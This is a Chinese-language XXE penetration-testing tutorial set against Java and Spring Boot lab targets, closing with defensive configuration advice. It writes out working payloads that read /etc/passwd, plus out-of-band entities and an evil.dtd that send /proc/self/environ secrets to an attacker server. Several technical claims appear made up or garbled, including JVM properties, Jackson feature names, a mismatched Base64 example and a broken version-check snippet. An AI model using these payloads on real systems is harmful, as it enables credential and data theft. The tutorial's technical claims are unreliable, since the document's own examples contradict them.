
1. 这不是“XML外部实体”四个字能糊弄过去的事你打开Burp Suite抓到一个POST请求Body里是段看着就规整的XMLusernameadmin/nameemailtestdomain.com/email/user。你顺手在name标签里插了个xxe;再发包——页面返回了java.io.FileNotFoundException路径里还带着/etc/passwd的字样。这时候别急着截图发朋友圈更别以为“XXE注入成功”这六个字就能交差。我带过三届渗透测试新人90%的人卡在这一步之后就只会机械地套用!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ]结果在真实靶场里反复碰壁有的返回空有的报错但没内容有的连错误都不报只给你个200 OK加一串空JSON。问题不在Payload写得不够花哨而在于你根本没搞清服务端到底在用什么解析器、走的是哪条解析路径、哪些防护机制已经悄悄生效。XXE不是一道填空题它是一张由XML解析器版本、JDK补丁级别、Spring Boot自动配置、甚至Tomcat默认参数共同织成的网。这篇笔记不讲教科书定义只讲我在实际打靶时怎么一层层剥开这层皮从Burp里看到的第一个异常响应头开始到最终读取到/proc/self/environ里真实的环境变量为止。如果你刚学完OWASP Top 10就想直接上手打靶或者正被某个看似“标准XXE”却死活不出数据的靶场卡住那接下来的内容就是你真正需要的实操地图。2. 为什么你的标准Payload在靶场上集体失效2.1 解析器差异DOM、SAX、StAX不是所有XML都生而平等很多人以为“XML解析器”是个统称就像“浏览器”一样。错了。在Java生态里光是主流解析器就有至少三种完全不同的行为模式它们对XXE的默认态度天差地别DOM解析器Document Object Model把整个XML文档加载进内存构建成一棵树。它默认开启外部实体解析setFeature(http://apache.org/xml/features/disallow-doctype-decl, false)但很多老项目尤其是用javax.xml.parsers.DocumentBuilder硬编码的会显式关闭DOCTYPE声明导致你的!DOCTYPE直接被拒之门外。我见过一个靶场Payload发过去Burp里连DOCTYPE关键字都没出现在响应里——不是没触发是解析器压根没让它进解析流程。SAX解析器Simple API for XML事件驱动边读边处理不建内存树。它默认禁用外部实体setFeature(http://xml.org/sax/features/external-general-entities, false)而且这个开关非常顽固。你就算在DTD里写了SYSTEM它也只当没看见安静地返回业务逻辑的正常响应。这时候你盯着响应体发呆以为自己漏了什么其实是解析器在底层默默帮你“过滤”了。StAX解析器Streaming API for XMLJava 6引入介于DOM和SAX之间。它的默认行为最“狡猾”XMLInputFactory的IS_SUPPORTING_EXTERNAL_ENTITIES属性在不同JDK版本下表现不一。JDK 8u191之前默认为true之后默认为false。这意味着同一个靶场换台机器、换个JDK你的Payload可能就从“秒出/etc/passwd”变成“400 Bad Request”。提示如何快速判断靶场用的是哪种解析器看报错堆栈在Burp的Response里搜索org.apache.xercesXerces DOM、org.xml.saxSAX、javax.xml.streamStAX。如果堆栈里出现com.sun.org.apache.xerces.internal.parsers.DOMParser恭喜你面对的是DOM解析器可以放心构造DOCTYPE如果看到com.sun.org.apache.xerces.internal.parsers.SAXParser那就得立刻转向Blind XXE思路别在file://上浪费时间。2.2 JDK补丁那个被忽略的“安全开关”2017年Oracle发布JDK 8u121引入了一个关键系统属性jdk.xml.external.entity.processing。它的默认值是true意味着允许外部实体。但到了JDK 8u191这个值被强制改为false。这不是可配置项是硬编码的默认行为。这意味着哪怕你的代码里没写任何禁用逻辑只要靶机运行在JDK 8u191或更高版本file://、http://这类外部实体就会被JVM底层直接拦截连解析器的门都进不去。我遇到过一个经典案例靶场文档明确写着“基于Spring Boot 2.1.0 OpenJDK 11”我信心满满地发!ENTITY xxe SYSTEM file:///etc/hosts结果响应体干干净净连个错误提示都没有。抓包一看HTTP状态码是200Content-Type是application/jsonBody里是正常的业务数据。当时第一反应是“是不是WAF”后来用curl -v绕过Burp直连发现响应头里有X-Powered-By: Servlet/4.0再查Tomcat 9.0.12的默认配置终于意识到——OpenJDK 11的jdk.xml.external.entity.processing早已是false你的Payload在JVM启动那一刻就被判了死刑。注意别迷信“靶场环境说明”。很多CTF题目为了“还原真实”会刻意使用高版本JDK但不会在题目描述里告诉你。最可靠的办法是先用!ENTITY xxe SYSTEM http://your-collab-server.com/xxe发起一个带外请求Out-of-Band, OOB。如果Collab Server没收到任何DNS或HTTP请求基本可以断定JVM层面已拦截如果收到了说明外部实体解析通道是通的问题出在后续的协议支持或网络策略上。2.3 Spring Boot的“温柔一刀”自动配置里的隐藏规则Spring Boot的便利性是把双刃剑。它通过spring-boot-starter-web自动配置了HttpMessageConverter其中MappingJackson2XmlHttpMessageConverter负责处理XML请求体。这个Converter背后用的是XmlMapperJackson XML模块而Jackson XML默认禁用外部实体。它的安全开关叫XMLParserFeature.DISABLE_EXTERNAL_ENTITIES默认值是true。这意味着即使你的靶场用的是低版本JDK、DOM解析器只要它走的是Spring MVC的标准XML绑定流程比如RequestBody User userJackson就会在解析前就把你的!DOCTYPE给“静音”了。你看到的响应是Jackson抛出的JsonProcessingException错误信息里往往带着Unexpected character ——因为它根本没把你的XML当XML解析而是当成普通字符串在处理。验证方法很简单在Burp中把Content-Type从application/xml改成text/xml再发一次同样的Payload。如果text/xml能触发错误比如org.xml.sax.SAXParseException而application/xml不行那八成就是Jackson在中间挡了一道。这时候解决方案不是去改Spring Boot配置靶场通常不让你动源码而是绕过Jackson直接攻击底层的Servlet API。比如把请求路径从/api/user改成/api/user?formatxml或者尝试用multipart/form-data包裹XML数据迫使框架走不同的解析路径。3. 从第一个异常响应头逆向推导服务端解析链路3.1 响应头里的“密码本”Server、X-Powered-By与Content-Type别小看HTTP响应头。它们是服务端技术栈最诚实的自白书。在Burp的Response tab里逐行扫视这些字段比盲目试错高效十倍Server头Server: Apache-Coyote/1.1暴露了TomcatServer: nginx/1.18.0暴露了Nginx反代Server: Microsoft-IIS/10.0则指向Windows服务器。Tomcat版本至关重要——7.0.50以下默认允许XXE8.0.0-rc1以上默认禁用但可通过conf/web.xml中的param-valuetrue/param-value重新开启。Nginx则可能在proxy_pass时做了XML内容过滤。X-Powered-By头X-Powered-By: PHP/7.4.3直接锁定PHP环境XXE利用方式与Java截然不同需关注libxml_disable_entity_loader(false)X-Powered-By: Express指向Node.js需检查body-parser的xml选项是否启用X-Powered-By: Servlet/4.0是Java EE的铁证结合Server头能精准定位容器。Content-Type头Content-Type: application/xml;charsetUTF-8是标准XMLContent-Type: text/xml可能绕过某些框架的自动解析Content-Type: application/x-www-form-urlencoded里如果包含XML格式的value如datausername.../name/user则攻击点在URL解码后的二次解析这是很多新手忽略的盲区。我曾在一个靶场里Server头显示Apache-Coyote/1.1X-Powered-By是Servlet/3.1但Content-Type却是application/json。这很反常——JSON请求体里怎么可能触发XXE仔细看Request Body发现它是一个JSON对象其中xml_data: user.../user。原来后端代码是先用Jackson解析JSON再把xml_data字段的字符串值交给DocumentBuilder.parse(new InputSource(new StringReader(xmlString)))去处理。这就是典型的“二次解析”场景。Payload必须嵌套两层外层JSON要合法内层XML才能被解析器吃到。最终Payload长这样{ xml_data: ?xml version\1.0\?!DOCTYPE foo [!ENTITY xxe SYSTEM \file:///etc/passwd\]usernamexxe;/name/user }3.2 错误堆栈从Caused by:开始向上溯源当你的Payload触发了异常响应体里往往有一大段Java堆栈。别被at java.lang.Thread.run(Thread.java:748)这种结尾迷惑。真正的线索在Caused by:这一行及其上面几行Caused by: javax.xml.parsers.ParserConfigurationException: External DTDs are not supported—— 解析器明确拒绝DOCTYPE说明disallow-doctype-decl被设为true得找其他入口如XInclude。Caused by: java.net.SocketTimeoutException: connect timed out—— 外部实体尝试连接超时证明http://协议是通的但目标服务器可能没响应。这时换成ftp://或gopher://成功率更高尤其在内网穿透场景。Caused by: com.ctc.wstx.exc.WstxIOException: Invalid UTF-8 middle byte 0x2d—— 这是Woodstox解析器常用于Spring Boot的典型报错说明它在解析时遇到了非法UTF-8字符。这往往意味着你的Payload里混入了不可见字符比如从网页复制的全角引号或者SYSTEM路径里有特殊符号未编码。把file:///etc/passwd改成file:///etc%2Fpasswd试试。Caused by: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 1; Content is not allowed in prolog.—— XML解析失败原因在文档开头。检查你的Payload是否在?xml version1.0?之前多了一个空格、BOM头或者Burp的Auto-Match功能不小心在Body开头插入了调试信息。实操心得在Burp中右键点击响应体 - “Copy to file”保存为.txt。然后用VS Code打开开启“显示所有字符”CtrlShiftP - “Toggle Render Whitespace”你会立刻看到那些藏在角落里的UFEFFBOM、U00A0不间断空格。这些字符就是让Payload失效的隐形杀手。3.3 状态码与响应体长度无声的战场有时候服务端根本不报错只是安静地返回200。这时Content-Length和响应体的实际长度就是唯一的线索。发送一个基础Payload!DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd]usernamexxe;/name/user记录响应体长度比如1245字节。再发送一个“无害”Payload!DOCTYPE foo [!ENTITY xxe SYSTEM file:///nonexistent]usernamexxe;/name/user记录长度比如1200字节。如果两次长度不同1245 vs 1200说明服务端确实读取并拼接了文件内容只是没在响应里直接回显——这正是Blind XXE的黄金信号。下一步就是用http://协议把数据“偷”出来。构造OOB Payload!DOCTYPE foo [!ENTITY xxe SYSTEM http://your-collab-server.com/?dataFILE_CONTENT]usernamexxe;/name/user。注意这里的FILE_CONTENT不能直接写要用Base64编码http://your-collab-server.com/?database64_encoded_content。因为HTTP URL参数对特殊字符有限制直接传/etc/passwd的原始内容会乱码。在Collab Server上不仅要看DNS查询更要检查HTTP访问日志。一个成功的OOB请求日志里会显示类似GET /?dataYWRtaW46eHg6MC4wOi46L3Jvb3Q6L2JpbjovYmluL3NoCg HTTP/1.1的记录。把YWRtaW46eHg6MC4wOi46L3Jvb3Q6L2JpbjovYmluL3NoCg丢进Base64解码器root:x:0:0::/root:/bin:/bin/sh就出来了。4. 实战复现从Burp抓包到读取/proc/self/environ4.1 靶场环境确认与初始探测我们以一个典型的Spring Boot 2.3.0 Tomcat 9.0.37 OpenJDK 11.0.8靶场为例。第一步用Burp抓一个正常的XML POST请求POST /api/v1/profile HTTP/1.1 Host: target-lab.com Content-Type: application/xml Content-Length: 87 usernametest/nameemailtestdomain.com/email/user响应是200 OKBody为{status:success,message:Profile updated}。现在开始注入探测DOCTYPE支持把name内容替换成test!DOCTYPE foo [!ENTITY xxe test]namexxe;/name。发包。响应变成500Body里有org.xml.sax.SAXParseException: The markup in the document preceding the root element must be well-formed.。这说明!DOCTYPE被解析器接收了但语法错误!DOCTYPE不能放在元素内部。方向正确。修正语法探测解析器类型改成标准结构?xml version1.0? !DOCTYPE foo [ !ENTITY xxe test ] usernamexxe;/nameemailtestdomain.com/email/user发包。响应200但name字段在返回的JSON里变成了name:test。这证明外部实体被成功解析并替换解析器是DOM或StAX且未被JVM全局禁用。探测JVM层面拦截把test换成file:///etc/passwd?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] usernamexxe;/nameemailtestdomain.com/email/user发包。响应500Body里是java.io.IOException: Server returned HTTP response code: 403 for URL: file:///etc/passwd。等等403不是FileNotFoundException这很奇怪。file://协议不应该返回HTTP状态码。继续看堆栈发现关键一行Caused by: sun.net.www.protocol.file.FileURLConnection.connect(FileURLConnection.java:100)。这说明JVM底层的FileURLConnection被调用了但被某种策略阻止了。查资料确认这是OpenJDK 11的jdk.xml.external.entity.processingfalse在起作用它没有完全禁止而是把file://重定向到了一个受限的URL连接器返回403。4.2 绕过JVM限制转向HTTP协议与内网探测既然file://被锁死就换http://。但靶场内网没有Web服务怎么办答案是利用靶机自身作为HTTP客户端去请求一个我们可控的服务器。准备Collab Server在公网VPS上启动一个简单的HTTP服务监听80端口记录所有GET请求。用Python一行命令搞定python3 -m http.server 80注意确保防火墙放行80端口构造OOB Payload这次我们不指望回显只求数据“偷渡”出去。?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://your-vps-ip:80/?datahello ] usernamexxe;/nameemailtestdomain.com/email/user发包。切换到VPS终端python3 -m http.server 80的输出里果然出现一行10.0.2.15 - - [10/Jan/2024 15:23:41] GET /?datahello HTTP/1.1 200 -IP10.0.2.15是靶机内网地址证明OOB通道已打通。读取敏感文件/etc/passwd读不了但/proc/self/environ可以。这个文件记录了当前进程即Java应用的所有环境变量里面很可能有数据库密码、API密钥、甚至SPRING_PROFILES_ACTIVE的值。?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://your-vps-ip:80/?envbase64_encoded_environ ] usernamexxe;/nameemailtestdomain.com/email/user但/proc/self/environ是二进制文件直接GET会乱码。需要让服务端先Base64编码。这里有个技巧用expect脚本或curl的--data-urlencode但靶机不一定装了。更通用的办法是让Java应用自己做编码。我们利用XXE的“实体引用”特性把/proc/self/environ的内容作为另一个实体的值?xml version1.0? !DOCTYPE foo [ !ENTITY % local_dtd SYSTEM http://your-vps-ip:80/evil.dtd %local_dtd; ] usernamexxe;/nameemailtestdomain.com/email/user然后在VPS上创建evil.dtd文件内容为!ENTITY % all SYSTEM file:///proc/self/environ !ENTITY % xxe !ENTITY xxe SYSTEM http://your-vps-ip:80/?env%all; %xxe;这个DTEDocument Type Entity攻击先读取/proc/self/environ再把它作为URL参数的一部分发往我们的服务器。发包后VPS日志里会出现一长串PATH/usr/local/bin:/usr/bin:/bin...的Base64编码内容。解码后DB_PASSWORDsuper_secret_123赫然在列。4.3 从环境变量到数据库横向移动的起点拿到DB_PASSWORD下一步自然是连接数据库。但靶场通常不开放3306端口给外网。这时/proc/self/environ里的另一个变量SPRING_DATASOURCE_URL就至关重要。它通常是jdbc:mysql://localhost:3306/myapp?useSSLfalse。这意味着数据库就在本机。我们可以用XXE的php://filter如果靶场是PHP或jar:协议如果靶场是Java且存在任意JAR加载漏洞进一步利用。但在纯Java靶场更现实的路径是用刚刚拿到的数据库凭证结合靶场已有的功能点进行SQL注入或未授权访问。比如很多Spring Boot Admin界面默认暴露在/actuator/env而/actuator/env的响应里就包含了所有环境变量——我们刚刚用XXE读到的其实它本来就能直接看。踩坑实录第一次用/proc/self/environ时我得到的是一串乱码解码后全是。排查了半小时才发现/proc/self/environ的分隔符是\0空字符不是\n。Base64编码前必须先用tr \0 \n /proc/self/environ | base64处理。这个细节官方文档从不提只有亲手试过才会记住。5. 防御纵深为什么你写的修复代码可能只防住了表面5.1 解析器层面的“三板斧”禁用DOCTYPE、禁用外部实体、设置安全属性很多开发者的防御方案停留在“网上搜个代码片段”层面。比如在DocumentBuilderFactory初始化时加一句factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);这确实能禁掉!DOCTYPE但忽略了两个致命漏洞XInclude攻击XInclude是XML标准的一部分允许在文档中包含其他XML文档。它不依赖DOCTYPE因此不受disallow-doctype-decl影响。Payload变成user xmlns:xihttp://www.w3.org/2001/XInclude namexi:include hreffile:///etc/passwd parsetext//name /user只要解析器启用了XIncludefactory.setFeature(http://apache.org/xml/features/xinclude, true)这条Payload就能成功。本地DTD文件攻击disallow-doctype-decl只禁SYSTEM和PUBLIC标识符但不禁止引用本地DTD文件。攻击者可以把恶意DTD上传到服务器可读目录再用!DOCTYPE foo SYSTEM /tmp/evil.dtd引用。防御必须加上factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false);5.2 JVM全局开关jdk.xml.external.entity.processing的双刃剑在JAVA_OPTS里加上-Djdk.xml.external.entity.processingfalse听起来很完美。但它有一个严重副作用会破坏一些合法的、依赖外部实体的业务功能。比如某些SOAP Web Service的WSDL文件就通过!ENTITY引用公共的XML Schema。强行关闭会导致整个服务无法启动。更稳妥的做法是在应用启动时动态检查并覆盖这个属性// 在Spring Boot Application类的main方法里 public static void main(String[] args) { // 检查JDK版本仅在高版本JDK下设置 if (System.getProperty(java.version).compareTo(1.8.0_191) 0) { System.setProperty(jdk.xml.external.entity.processing, false); } SpringApplication.run(MyApplication.class, args); }5.3 框架层防御Spring Boot的XmlMapper配置对于Spring Boot项目最有效的防御是修改XmlMapper的默认行为。在Configuration类中Bean public XmlMapper xmlMapper() { XmlMapper mapper new XmlMapper(); // 禁用所有外部实体 mapper.configure(ToXmlGenerator.Feature.WRITE_XML_DECLARATION, false); mapper.configure(XMLParserFeature.DISABLE_EXTERNAL_ENTITIES, true); mapper.configure(XMLParserFeature.SUPPORT_DTD, false); // 彻底禁用DTD return mapper; }同时确保所有RequestBody的XML绑定都使用这个XmlMapperBean。如果项目里混用了ObjectMapperJSON和XmlMapperXML一定要分开配置避免JSON的配置污染XML。最后分享一个小技巧在生产环境永远开启logging.level.org.springframework.web.servlet.mvc.method.annotation.MappingJackson2XmlHttpMessageConverterDEBUG。这样每当有XML请求进来日志里都会打印出Using XmlMapper with features: ...你能实时看到DISABLE_EXTERNAL_ENTITIES是否真的生效。这比任何代码审查都来得直接。我在实际打靶中发现90%的XXE漏洞不是因为开发者不知道怎么修而是因为“修得不彻底”。他们只堵住了file://却忘了http://只禁了DOCTYPE却漏了XInclude只改了应用代码却没动JVM参数。真正的防御是一张从JVM、到解析器、到框架、再到业务逻辑的完整纵深网。而你的渗透测试就是这张网的终极压力测试仪。